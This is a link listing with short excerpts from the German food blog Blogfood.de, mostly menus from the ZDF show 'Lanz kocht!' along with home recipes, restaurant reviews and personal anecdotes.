- [Zitronengrasspieß mit Riesengarnelen](https://www.blogfood.de/zitronengrasspiess-mit-riesengarnelen/) - Blogfood.de - Denn wir lieben Essen: Zutaten (für 4 Personen): Zitronengrasspieß: 16 St. Riesengarnelen 12 Stangen grüner Spargel 12 Stangen weißer Spargel 4 St. Zitronengrasstängel Sauce: 150 g Mango-Chutney 150 g “Chilisauce for Chicken” Frischer Koriander Sesam-Vinaigrette: 1 El Sesamöl 1 El Erdnussöl 1 El Sake (Reiswein) 2 El Limonensaft 1 El weißer gerösteter Sesam Meersalz und Pfeffer Zubereitung: 1.
- [Schichtarbeit bei Lanz kocht!](https://www.blogfood.de/schichtarbeit-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Markus Lanz lässt heute (30.04.) seine Köche zur Schichtarbeit anrücken (ZDF, 23.35 Uhr). Man darf gespannt sein, was die "Hochstapler" Horst Lichter, Mario Kotaska, Johann Lafer, Ralf Zacherl und Sarah Wiener aus dieser Aufgabe machen. Hier die Rezepte im Überblick: VORSPEISE:Strammer geht's nicht(von Horst Lichter)ZWISCHENGANG:Gefüllte Jakobsmuscheln auf Selleriepüree(von Mario Kotaska)HAUPTGANG:Mediterranes Lammschnitzel-Crostini(von Johann Lafer) HAUPTGANG:Kalbsleber mit
- [Verpackungskunst bei Lanz kocht!](https://www.blogfood.de/verpackungskunst-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Unter dem Motto "Genuss - schön verpackt: Die Kunst, Leckeres gut aussehen zu lassen" dürfen wir uns heute Abend bei der Kochsendung "Lanz kocht!" (24.04.2010, 23.40 Uhr, ZDF) auf die kreative Ader der Köche freuen. Hier die - hoffentlich auch schmackhaften - Ideen des Küchenteams: VorspeiseGebackene Lachsforellenpraline mit Gurken-Kresse-Salat und KaviarschmandAlexander Herrmann ZwischengangFenchel Avocado Wrap
- [Markus Lanz überrascht seine Köche](https://www.blogfood.de/markus-lanz-ueberrascht-seine-koeche/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (16.04., 23.45 Uhr, ZDF) überrascht Markus Lanz seine Köche mit Zutaten, aus denen diese ad hoc ein paar tolle Gerichte zaubern sollen. Man darf also gespannt sein, wie Alfons Schuhbeck, Horst Lichter, Nelson Müller, Steffen Henssler und Johann Lafer dieser Aufgabe begegnen. Hier das Menü im Überblick: Gebratene Tigerprawns auf Mangold-Bärlauchspinat mit Kirschtomate,
- [Deftig-rustikale Küche: Vergessene Klassiker bei Lanz kocht!](https://www.blogfood.de/deftig-rustikale-kueche-vergessene-klassiker-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Am 09.04.2010 entführte Markus Lanz zusammen mit seinen Köchen die Gäste in beinahe vergessene Küchenklassiker-Zeiten, zu denen noch Labskaus, Brotsuppe und andere kulinarische Spezialitäten an der Tagesordnung waren. Vorspeise:Brotsuppe im Glas mit gebratenen Pfifferlingen und OchsenherzenSarah WienerZwischengang:Labskaus von der Ente mit SaiblingskaviarRalf Zacherl 1. Hauptgang:Rheinisches DurcheinanderHorst Lichter 2. Hauptgang:Blumenkohl polnisch mit gebratenem Kalbsfilet und ChampignonrahmJohann
- [Gegensätze ziehen sich an bei Lanz kocht!](https://www.blogfood.de/gegensaetze-ziehen-sich-an-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Gegensätze ziehen sich an - Ein Erlebnis für Ihren Gaumen". Unter diesem Motto bereiten heute Abend, zum ersten Mal im neuen Jahr, wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 00.00 - 01.00 Uhr) abwechslungsreiche und originelle Gerichte zu. 2010 gehen Johann Lafer, Kolja Kleeberg, Cornelia Poletto, Alexander Herrmann und Lea Linster an den
- [Es wird bunt bei Lanz kocht!](https://www.blogfood.de/es-wird-bunt-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute geht es sehr bunt und kreativ zu bei "Lanz kocht".Die heutige Sendung steht unter dem Motto "Ganz schön bunt - Neue Farben für den Tisch". Markus Lanz präsentiert heute zusammen mit Johann Lafer, Alexander Herrmann, Steffen Henssler, Kolja Kleeberg und Stephan Marquardt (ZDF, 23.30 - 00.35 Uhr) ein kulinarisch-buntes Fünf-Gänge-Menü: Vorspeise Rohmariniertes Kalbsfilet grün-gelb-rot-braun
- [Nikolausrezepte bei Lanz kocht!](https://www.blogfood.de/nikolausrezepte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Nikolausrezepte für Feinschmecker - Jubel, Trubel, Adventszeit!". Unter diesem Motto bereiten heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.00 - 00.05 Uhr) abwechslungsreiche und genussvolle Gerichte zu, passend zur anstehenden Weihnachtszeit. Mit dabei sind Johann Lafer, Alfons Schuhbeck, Horst Lichter, Andreas C. Studer und Martina Kömpel. Diese Gerichte machen auf jeden
- [Mediterraner Genuß, Viva España!](https://www.blogfood.de/mediterraner-genuss-viva-espana/) - Blogfood.de - Denn wir lieben Essen: Nach einer Woche Sendepause bei "Lanz kocht!" geht es heute Abend (23.10 - 0.15 Uhr, ZDF) endlich wieder heiß her an den Töpfen der Starköche. Die Köche Lea Linster, Alexander Herrmann, Horst Lichter, Tim Mälzer und Andreas C. Studer bereiten unwiderstehliche Köstlichkeiten aus Spanien zu: VorspeiseStudis Tapas mit kühlem Sherry von Andreas C. Studer Zwischengang
- [Summertime bei Lanz kocht](https://www.blogfood.de/summertime-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute (23.05 Uhr, ZDF) zeigen die Köche Alexander Herrmann, Steffen Henssler, Tim Mälzer, Sarah Wiener und Alfons Schuhbeck, wie sich sommerlich leichte, gut verdauliche und den Temperaturen angepasste Gerichte kreieren lassen. Die Köche um Markus Lanz warten mit folgendem Fünf-Gänge-Menü auf: Pfifferlings-Balsamicozwiebel-Salat mit geröstetem Parmaschinken Vorspeise von Alexander Herrmann Gegrillte Wassermelone mit Loup de mer und
- [Hacksteak in der Weinstubb Michel in Mainz](https://www.blogfood.de/hacksteak-in-der-weinstubb-michel-in-mainz/) - Blogfood.de - Denn wir lieben Essen: Es ist immer noch Freitag. Nachdem Herr Kuna sich ca. 2 Stunden die Haare beim Herrenfrisör schneiden ließ, war es auch schon Zeit für eine Zwischenmahlzeit. So blieben wir nach kurzer Suche in der Jakobsbergstraße in Michels Weinstubb hängen. Hier lud die Außenterrasse zum Verweilen ein. Die übersichtliche und durchaus preiswerte Speisekarte bot viele regionale
- [Pfiffige Rezepte bei Lanz kocht](https://www.blogfood.de/pfiffige-rezepte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend um 23.00 Uhr warten im ZDF wieder einmal fünf Köche um Markus Lanz mit pfiffigen Rezepten auf, um ein Fünf-Gänge-Menü zu präsentieren. Sarah Wiener serviert als VorspeiseGeschmorten Chicorée mit Prosecco-Tomaten. Johann Lafer kümmert sich um den Zwischengang:Dreierlei Melonenkaltschale mit Rotbarbenspieß. Auch Kolja Kleeberg hat Fisch im Angebot und versucht sich für den Hauptgang
- [Lammrücken mit violettem Kartoffelpüree](https://www.blogfood.de/lammruecken-mit-violettem-kartoffelpueree/) - Blogfood.de - Denn wir lieben Essen: Lammrücken mit Knoblauch, Rosmarin und Thymian füllen, salzen und pfeffern und für rund 30 Minuten bei 200 Grad in den Ofen. Dazu ein Kartoffelpüree aus violetten Kartoffeln und kurz in Olivenöl geschwenkter Minipaprika.
- [Bratkartoffeln mit Lammbratwürstchen](https://www.blogfood.de/bratkartoffeln-mit-lammbratwuerstchen/) - Blogfood.de - Denn wir lieben Essen:
- [Deftige Hausmannskost bei Lanz kocht](https://www.blogfood.de/deftige-hausmannskost-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.00 - 00.05 Uhr im ZDF) bereiten Lanz´ Köche herzhafte und pikante Gerichte zu. Mit dabei sind Mario Kotaska, Steffen Henssler, Horst Lichter, Andreas C. Studer sowie Alfons Schuhbeck. Vorspeise Mini-Wirsingpfannkuchen mit Büsumer Krabben von Andreas C. Studer Zwischengang Marinierte Lammkoteletts auf Spitzkohleintopf von Steffen Henssler Erster HauptgangSafranrisotto mit Jakobsmuscheln und Black-Tiger-Gambas von
- [Ein Hochgenuss für die Sinne bei Lanz kocht!](https://www.blogfood.de/ein-hochgenuss-fuer-die-sinne-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Ein Hochgenuss für die Sinne - Tolle Gerichte, auf die man Lust hat". Unter diesem Motto bereiten heute wieder 5 TV-Köche in der Sendung Lanz kocht! (ZDF, 23.00 - 00.00 Uhr) leckere und ausgefallene Gerichte zu. Mit dabei sind heute Cornelia Poletto, Steffen Henssler, Alexander Herrmann, Alfons Schuhbeck und Andreas C. Studer. Vorspeise Gratinierte Jakobsmuscheln
- [Geburtstagsparty bei Lanz kocht!](https://www.blogfood.de/geburtstagsparty-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend dreht sich bei "Lanz kocht!" (23.05 - 0.05 Uhr, ZDF) alles um einen schönen Abend mit Freunden. Unter dem heutigen Motto der Sendung "Geburtstagsparty - Besondere Gerichte für einen besonderen Anlass" schwingen Johannes King, Johann Lafer, Horst Lichter, Alfons Schuhbeck, Cornelia Poletto und natürlich wieder ein Gewinner aus der "Küchenschlacht" die Kochlöffel und
- [Türkische Linsensuppe und Grillplatte](https://www.blogfood.de/tuerkische-linsensuppe-und-grillplatte/) - Blogfood.de - Denn wir lieben Essen: Sitze gerade im Cappadocia in Wiesbaden, einem erst kürzlich eröffneten türkischen Restaurant. Die mercimek corbasi, eine türkische Linsensuppe, war sehr erfrischend und lecker. Jetzt warte ich bei einem leckeren Cay auf meine Grillplatte... Update: Die Grillplatte ist da. Ebenfalls sehr lecker! Später mehr dazu... So, nun noch ein paar Worte zur Grillplatte: Wunderbares Holzkohlegrill-Aroma, überwiegend
- [Ein Potpourri an Leckereien bei Lanz kocht!](https://www.blogfood.de/ein-potpourri-an-leckereien-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend wird es richtig lecker bei Markus Lanz - das Thema seiner Kochsendung am Freitagabend (01.08.08, 23 bis 0 Uhr): "Ein Potpourri an Leckereien - Herrliche Rezepte aus frischen und leckeren Zutaten". Prägend ist die diesmal überaus kreative Rezeptvielfalt, mit denen die fünf Köche aufwarten: Vorspeise Ralf Zacherl richtet sein "Melonencarpaccio mit Jakobsmuscheln" mit
- [Lecker in den Herbst mit Markus Lanz](https://www.blogfood.de/heiss-in-den-herbst-bei-markus-lanz/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.00 - 00.00 Uhr im ZDF) kredenzen die fünf Star-Köche Cornelia Poletto, Veronique Witzigmann, Horst Lichter, Johann Lafer und Alfons Schuhbeck bei Markus Lanz wieder jede Menge leckere Gerichte. Unter dem Motto "Herbstküche - Einfach nur zum anbeißen!" dürften folgende Gerichte Lust auf Nachkochen machen: VorspeiseWarmer Salat von Honigchicoree und Kalbsleber mit Apfelbalsamvinaigrettevon
- [VAPIANO Bremen - Design auf ganzer Linie](https://www.blogfood.de/vapiano-bremen-design-auf-ganzer-linie/) - Blogfood.de - Denn wir lieben Essen: Am 29. Juni 2008 haben wir uns mal spontan nach Bremen aufgemacht um dort das "neue" VAPIANO zu testen. Bekannt ist uns dieses Franchiseunternehmen bereits aus Hamburg und Berlin. Seit November residiert ein Ableger auch endlich in Bremen. Die Vapiano-Filiale liegt zentral und doch etwas Abseits der Bummelmeile der Bremer Innenstadt. Wie üblich ist auch diese
- [Ein schnelles Ostermenü bei Lanz kocht](https://www.blogfood.de/ein-schnelles-ostermenue-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Diese Woche wird schon am Donnerstag, also heute Abend (um 23.45 Uhr), im ZDF bei Markus Lanz gekocht: Unter dem Motto "Ei, Ei, Ei - Ein schnelles Ostermenü" (ob der Titel so lustig ist, wie er gemeint ist, darüber lässt sich streiten...) kredenzen Johann Lafer, Cornelia Poletto, Horst Lichter und Alfons Schuhbeck mal wieder kreative
- [Ein Überraschungsmenü bei Lanz kocht!](https://www.blogfood.de/ein-ueberraschungsmenue-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute geht es sehr spannend zu bei "Lanz kocht", denn als besonderes Highlight dieser Sendung müssen die Köche heute etwas improvisieren - Sie kennen nämlich die Zutaten vorher nicht. Das Motto der heutigen Sendung lautet "Überraschungsmenü - Kreative Gerichte, die Appetit auf mehr machen!". Markus Lanz präsentiert heute zusammen mit Steffen Henssler, Alexander Herrmann, Alfons
- [Frisch und Fruchtig bei Lanz kocht!](https://www.blogfood.de/frisch-und-fruchtig-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Frisch und Fruchtig - Raffinierte Rezeptideen für sonnige Tage". Unter diesem Motto bereiten heute wieder 5 TV-Köche, passend zum sonnigen Wetter, in der Sendung Lanz kocht! (ZDF, 23.15 - 00.20 Uhr) leckere und leichte Gerichte zu. Mit dabei sind heute Cornelia Poletto, Kolja Kleeberg, Alexander Herrmann, Andreas C. Studer und Alfons Schuhbeck. Vorspeise Zweifarbiger Zucchini-Melonensalat
- [Das große Weihnachtsmenü bei Lanz kocht!](https://www.blogfood.de/das-grosse-weihnachtsmenue-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Gestern Abend (23.10 - 00.10 Uhr im ZDF) zeigten Lanz´ Köche in einer Sondersendung passend zu den anstehenden Feiertagen ihr ganzes Können und kreierten ein köstliches Weihnachtsmenü. Dabei waren Tim Mälzer, Johann Lafer, Cornelia Poletto, Alfons Schuhbeck und Horst Lichter. Vorspeise Gebackener Sellerie mit Apfelsalat von Tim Mälzer Zwischengang Carpaccio von geräucherter Gänsebrust von Johann
- [Ostermenü bei Lanz kocht!](https://www.blogfood.de/ostermenue-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend servieren Kolja Kleeberg, Steffen Henssler, Cornelia Poletto, Alfons Schuhbeck und Sarah Wiener ihr Ostermenü in der ZDF-Kochsendung "Lanz kocht!" (26.03.2010, 23.35 Uhr). Die Rezepte zur Sendung gibt es hier als PDF-Download. Vorspeise:Lauwarmer Eiersalat "Leonid Breschnew" mit Kapern und Sardellenvon Kolja Kleeberg Zwischengang:Marinierte Lammkoteletts mit scharfem Kartoffelgratinvon Steffen Henssler 1. Hauptgang:Osterhäschen aus dem Ofenvon
- [Omas Bestes bei Lanz kocht!](https://www.blogfood.de/omas-bestes-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: In der dritten Sendung des neuen Jahres dreht sich alles um "Omas Bestes - Schmackhafte Gerichte nach überlieferten Rezepten". Als besonderes Highlight dieser Sendung traut sich heute auch einmal Markus Lanz selber an die Töpfe und bereitet das erste von zweien Zwischengerichten zu. Zusammen mit ihm stehen heute Abend (ZDF, 23.30 - 00.35 Uhr) Johann
- [Essen wie Gott in Frankreich bei Lanz kocht!](https://www.blogfood.de/essen-wie-gott-in-frankreich-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Es geht auf zur zweiten Sendung "Lanz kocht!" im neuen Jahr. "Essen wie Gott in Frankreich - Ein rundum köstliches Menü", unter diesem Motto bereiten heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.30 - 00.35 Uhr) abwechslungsreiche und feinste Gerichte zu. Mit dabei sind Alexander Herrmann, Alfons Schuhbeck, Kolja Kleeberg, Andreas
- [Blogfood.de-Weihnachtsverlosung](https://www.blogfood.de/blogfood-de-weihnachtsverlosung/) - Blogfood.de - Denn wir lieben Essen: Endlich ist es soweit: Das Blogfood.de-Team hat – wie angekündigt – jede Menge Weihnachtsgeschenke für Sie organisiert. Der Online-Shop endlichzuhause.de hat uns hierzu freundlicherweise einige Produkte zur Verfügung gestellt, die Sie nun hier bei uns gewinnen können. Die Preise: 1. Preis: Kochbuch "Lafer! Lichter! Lecker! Band 2"- handsigniert von Horst Lichter - 2. Preis: 18-teiliges
- [Mediterrane Kartoffelspalten mit Thymian-Frikadellen](https://www.blogfood.de/mediterrane-kartoffelspalten-mit-thymian-frikadellen/) - Blogfood.de - Denn wir lieben Essen: Ein leckere und schnelle Angelegenheit: Paprikapulver, Meersalz, Rosmarin und Thymian (beides fein gehackt) mit Olivenöl in einer Schüssel verrühren. Kartoffelspalten in die Schüssel geben, ein paar Mal schwenken, so dass alle Spalten rundum mit der Marinade bedeckt sind. Einige Minuten ziehen lassen, in der Zwischenzeit schonmal den Backofen auf 200° C vorheizen. Die Kartoffelspalten brauchen
- [Gefüllte Scholle mit Nordseekrabben, Blattspinat und Risotto](https://www.blogfood.de/gefuellte-scholle-mit-nordseekrabben-blattspinat-und-risotto/) - Blogfood.de - Denn wir lieben Essen: Während seines Kurzaufenthalts in Osnabrück am vergangenen Wochenende ergab sich für Herrn Kuna die Gelegenheit zu einem netten Kochevent mit Kathi, Jörg und Katrin. Der ursprüngliche Plan, einen Pulpo in der eigenen Tinte zuzubereiten, scheiterte leider mangels Zutaten - das kann einem in Osnabrück an einem Samstag schon mal passieren ;-)Aber kein Problem, Kathis kürzlich
- [Heidepark Soltau](https://www.blogfood.de/heidepark-soltau/) - Blogfood.de - Denn wir lieben Essen: Tja. Wie schon mal gesagt. Hannah, Katrin, Oliver und ich waren im Heidepark, und zwar am 19. Juli. Irgendwie war´s da ganz schön warm, um ehrlich zu sein ziemlich warm, man könnte auch sagen, es war zu warm! War ja so ganz cool. Die Wasserbahn war ganz erfrischend, doch nach dem Colossos war mir nicht
- [CeWe Fotobuch XL - jetzt ist es da! (trnd)](https://www.blogfood.de/cewe-fotobuch-xl-jetzt-ist-es-da/) - Blogfood.de - Denn wir lieben Essen: Nachdem ich hier im Blog in den letzten Wochen bereits Gutscheine für ein CeWe-Fotobuch verschenkt hatte, habe ich am 08. Dezember auch endlich mal mein CeWe-Fotobuch-XL anlässlich eines der aktuellen trnd-Projekte bestellt. Als Thema habe ich mir die Türkei-Bildungsreise aus dem Jahr 2006, über die wir hier im Blog ausführlich berichtet hatten, herausgesucht. Ich habe
- [Weihnachtsgerichte bei Lanz kocht!](https://www.blogfood.de/weihnachtsgerichte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute (11.12.2009) um 23.05 Uhr werden in der ZDF-Kochsendung "Die schönsten Weihnachtsgerichte" präsentiert. Die Starköche Cornelia Poletto, Alfons Schuhbeck, Andreas C. Studer, Johann Lafer und Horst Lichter zeigen Markus Lanz und seinem Publikum, wo der Kochlöffel hängt. Tatar von der Eismeerforelle und AvocadoVorspeise (Cornelia Poletto) Weiße Bohnensuppe mit geräuchertem Aal und CroutonsZwischengang (Alfons Schuhbeck) Glasierte
- [Neue Gerichte im Kartoffelhaus Osnabrück](https://www.blogfood.de/neue-gerichte-im-kartoffelhaus-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Das 1. Osnabrücker Kartoffelhaus "im Dominikaner" ist immer mal wieder einen Besuch wert. So auch am vergangenen Wochenende, als wir kurzerhand das für deftige Speisen bekannte Lokal zu einem vorabendlichen Pausensnack ansteuerten. Das Haus der leckeren Knolle war an jenem Samstag gut besucht, freundlich empfangen wurden wir natürlich trotzdem. Zehn Minuten Wartezeit auf einen freien
- [Falschparker?](https://www.blogfood.de/falschparker/) - Blogfood.de - Denn wir lieben Essen: So liebe Leute, da ich derzeit keine nennenswerten WG-Untaten finde, halt so zur Abwechslung mal etwas anderes. Samstag Abend nach dem WM-Spiel (Deutschland - Schweden; 2:0) machte ich diese Entdeckung vorm Hauptbahnhof in Hannover: Ein falschgeparktes Motorrad der Polizei wird gerade abgeschleppt. Tja, da muss wohl jemand zu Fuß gehen... :-)
- [Schweineschnitzel mit Bratkartoffeln und Rahm-Champignon-Soße, dazu Tomatensalat](https://www.blogfood.de/schweineschnitzel-mit-bratkartoffeln-und-rahm-champignon-sosse-dazu-tomatensalat/) - Blogfood.de - Denn wir lieben Essen: Zufallsbild: Dieses schmackhafte Gericht gab es mal vor Ewigkeiten (2006) in der Kantine.
- [Hochheimer Markt](https://www.blogfood.de/hochheimer-markt/) - Blogfood.de - Denn wir lieben Essen: Am Samstag habe ich mir mal den Hochheimer Markt (angeblich einer der größten Jahrmärkte Deutschlands) in Hochheim am Main angesehen. Dort habe ich nicht nur eine wunderbare Pinzette zum Kochen (aus dem Hause Heiko Wild) erstanden, sondern auch den sonderbaren Mutzbraten probiert. Auf dem mittelalterlichen Areal des Marktes gab es einen Stand, wo dieser mit
- [Kulinarische Verlockungen bei Lanz kocht!](https://www.blogfood.de/kulinarische-verlockungen-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Kulinarische Verlockungen - Phantasievolle Rezeptideen für Jedermann". Unter diesem Motto bereiten heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.00 - 00.00 Uhr) abwechslungsreiche und leckere Gerichte zu. Mit dabei sind Johann Lafer, Nelson Müller, Kolja Kleeberg, Steffen Henssler und Alfons Schuhbeck. Diese Gerichte machen auf jeden Fall Lust aufs Nachkochen: Vorspeise
- [Lachs in Honig-Mascarpone-Sauce mit Orangen-Zitronenreis](https://www.blogfood.de/lachs-in-honig-mascarpone-sauce-mit-orangen-zitronenreis/) - Blogfood.de - Denn wir lieben Essen: Diese Kombination von Fisch mit der angenehmen Säure von Orangen ist ziemlich lecker - und in alle Richtungen (süßlich, scharf, pikant, sauer, salzig) je nach Geschmack veränderbar. Zuerst mariniert man den in Würfel geschnittenen Lachs (Filetstücke) mit einer Mischung aus Orangensaft (am besten frisch gepresst), Salz (je fetter der Lachs, desto mehr) und etwas Pfeffer.
- [Bei Markus Lanz ist schon fast Weihnachten](https://www.blogfood.de/bei-markus-lanz-ist-schon-fast-weihnachten/) - Blogfood.de - Denn wir lieben Essen: Schon relativ früh geht es dieses Jahr bei Markus Lanz an das Weihnachtsmenü. Unter dem Motto "Das etwas andere Weihnachtsmenü" machen sich heute die fünf Köche Johann Lafer, Horst Lichter, Cornelia Poletto, Alfons Schuhbeck und Steffen Henssler daran, einige leckere Gerichte zuzubereiten. Lanz kocht wird am 27.11.09 um 23.15 Uhr im ZDF gesendet. Hier das
- [Zeit für deftige Gerichte bei Lanz kocht!](https://www.blogfood.de/zeit-fuer-deftige-gerichte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Zeit für deftige Gerichte - Leckere Ideen für genüssliche Stunden". Unter diesem Motto bereiten heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.45 - 00.45 Uhr) abwechslungsreiche und leckere Gerichte zu. Mit dabei sind Alexander Herrmann, Alfons Schuhbeck, Lea Linster, Horst Lichter und Cornelia Poletto. Diese Gerichte machen auf jeden Fall Lust
- [Erdwärmebohrung vor dem Finanzministerium in Wiesbaden](https://www.blogfood.de/erdwaermebohrung-vor-dem-finanzministerium-in-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Mit spektakulären Aufnahmen von Wasserfontänen kann ich zwar nicht dienen, ich habe mich aber dennoch einmal zum Hessischen Finanzministerium in Wiesbaden begeben, um selbst mir ein Bild von der in allen Medien geschilderten Lage zu machen. [salbumphotos=2,144,max]
- [Die schönste Postkarte aus Athen](https://www.blogfood.de/die-schoenste-postkarte-aus-athen/) - Blogfood.de - Denn wir lieben Essen: Die schönste Postkarte von den schönsten Frauen (Katrin und Svenja) aus Athen landete heute mal bei mir im Briefkasten. Nur leider muss ich sie mir mit Oliver teilen, also die Karte natürlich.
- [Mir auch (R)egal](https://www.blogfood.de/mir-auch-regal/) - Blogfood.de - Denn wir lieben Essen: So, wenn ich dieses Weblog mal genauer unter die Lupe nehme und dabei mal den Beitrag von Oliver lese, wird mir doch etwas mulmig, wenn ich mal so nach oben sehe. Oberhalb meines Kopfes schwebt nämlich ein Regal über dem Schreibtisch und wenn ich mir dann mal so die Schrauben ansehe, fällt mir doch mal
- [Gesund und lecker!](https://www.blogfood.de/gesund-und-lecker/) - Blogfood.de - Denn wir lieben Essen: So langsam aber sicher könnte man glauben, der WG-Blog entwickelt sich zu einem zweiten Gault-Millau - aber bevor wir irgendwelche Kochmützen oder Sterne verteilen, zeigen wir lieber ein paar für sich selbst sprechende Fotos. Dieses hier zeigt zum Beispiel eine Vorspeise, die - selbst wenn sie irgendjemandem (unverständlicherweise) nicht schmecken sollte - auf jeden Fall
- [Im Schlafanzug zu Ikea](https://www.blogfood.de/im-schlafanzug-zu-ikea/) - Blogfood.de - Denn wir lieben Essen: Dass sich die WG-Blogger für nichts zu schade sind, haben sie ja schon häufiger bewiesen. Doch der gestrige Freitag brachte wieder einmal ein paar kuriose Erlebnisse der besonderen Art. Ihr Arbeits-Outfit für den anstehenden Tag hatten die WG-Blogger Herr Hauser und Herr Kuna bereits angelegt - und so ging es im Schlafanzug ab in die
- [Maredo Osnabrück](https://www.blogfood.de/maredo-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Kaum hatten wir das Kartoffelhaus in Osnabrück getestet, stand auch schon der nächste Restauranttest an. Noch am selben Tag ging es abends zu viert ins Maredo - nicht unbedingt unsere erste Wahl, aber wir mussten uns dem Druck einer ehemaligen Maredo-Mitarbeiterin beugen. Da Herr Hauser und ich bereits 20 Minuten eher im Lokal eintrafen, bestellten
- [Wecker kaputt? Mir doch (R)egal!](https://www.blogfood.de/wecker-kaputt-mir-doch-regal/) - Blogfood.de - Denn wir lieben Essen: Ein kaputter Wecker - oder sagen wir mal: ein Wecker mit Hang zu selbstbestimmter Zeitinterpretation - kann das morgendliche pünktliche Aufstehen leicht zu einem Glücksspiel werden lassen. Das ist auch der Grund, warum ich grundsätzlich mindestens einen Notwecker (Handy o. ä.) stelle.Wie ich heute Morgen feststellen durfte, braucht es aber gar keinen solchen Notwecker -
- [Garnelen in der Aroma Noodlebar Wiesbaden](https://www.blogfood.de/garnelen-in-der-aroma-noodlebar-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: In Anbetracht des bevorstehenden kulinarisch ausgedehnten Wochenendes hatten wir am Freitagabend eigentlich vor, lediglich noch einen (leichten) Salat zu uns zu nehmen. Sicher, der stand zwar auch auf der Karte der Aroma Noodlebar in Wiesbaden - jedoch fanden sich darin auch noch diverse andere Leckereien. Herr Kuna hatte die Aroma Noodlebar schon vor einigen Wochen
- [Warten macht hungrig](https://www.blogfood.de/warten-macht-hungrig/) - Blogfood.de - Denn wir lieben Essen: Mit eiskalten Tricks erweitert das ZDF seine Zielgruppe Lecker essen bei Kerners Köchen. Mit dieser – man könnte meinen, etwas zielgruppenfernen – Idee bewarben sich die beiden WG-Blogger im Februar 2006 um zwei Eintrittskarten für die Kochsendung von Johannes B. Kerner. Sie hatten gehört, dass man da quasi für lau ein paar Happen Sternekochkunst auf
- [Kerners Köche in Osnabrück](https://www.blogfood.de/kerners-koeche-in-osnabrueck/) - Blogfood.de - Denn wir lieben Essen: Warten hatten wir ja bereits gelernt. Über eineinhalb Jahre vergingen zwischen der Vorbestellung und dem Besuch der Kochsendung von Johannes B. Kerner. Damals, im September 2007, versprach man uns, dass die Sendung im Januar 2008 ausgestrahlt werden würde. Gut – als fernseherloser Zeitgenosse ist man in aller Regel außen vor, wenn man sich eine solche
- [Einladung ins Weisse Haus](https://www.blogfood.de/einladung-ins-weisse-haus/) - Blogfood.de - Denn wir lieben Essen: Tja Leute. Das schafft nicht jeder. Soeben haben Herr Kuna und ich es endlich geschafft einen Tisch im Weissen Haus zu reservieren. Das Weisse Haus? Ja, ihr wisst schon, Das Weisse Haus von Tim Mälzer in Hamburg. Seit Monaten schon versuchen wir dort einen Tisch zu reservieren. Bislang scheiterte es jedoch immer daran, dass wir
- [Sonntagserinnerungen bei Lanz kocht!](https://www.blogfood.de/sonntagserinnerungen-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.35 - 00.35 Uhr im ZDF) wird es lecker bei Lanz kocht! Unter dem Motto "Sonntagserinnerungen - kulinarische Andenken in modernen Versionen " schwingen heute die Star-Köche Cornelia Poletto, Alexander Herrmann, Johann Lafer, Steffen Henssler sowie Mario Kotaska die Kochlöffel und bereiten interessante und altbekannte Klassiker zu. Vorspeise Frühlings-Minestrone mit geriebenem Scamorza von
- ["Lust auf Genuss?" bei Lanz kocht!](https://www.blogfood.de/lust-auf-genuss-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.15 - 00.15 Uhr im ZDF) wird es wieder kreativ bei Lanz kocht! Unter dem Motto "Lust auf Genuss - Fabelhafte Gerichte vielseitig und lecker" schwingen heute die Star-Köche Kolja Kleeberg, Mario Kotaska, Horst Lichter, Alfons Schuhbeck sowie Andreas C. Studer die Kochlöffel und bereiten interessante Gerichte zu. Vorspeise Geräucherter Lachs auf Toast
- [Fantasievolle und delikate Gerichte bei Lanz kocht!](https://www.blogfood.de/fantasievolle-und-delikate-gerichte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.00 - 00.00 Uhr im ZDF) wird es gemütlich bei Lanz kocht! Unter dem Motto "Phantasievolle und delikate Gerichte" schwingen heute die Star-Köche Cornelia Poletto, Alexander Herrmann, Johann Lafer, Horst Lichter sowie Alfons Schuhbeck die Kochlöffel und bereiten mit teils exquisiten Zutaten wieder tolle Gerichte zu. Vorspeise Käferbohnensalat mit mariniertem Tafelspitz und Kürbiskernpesto
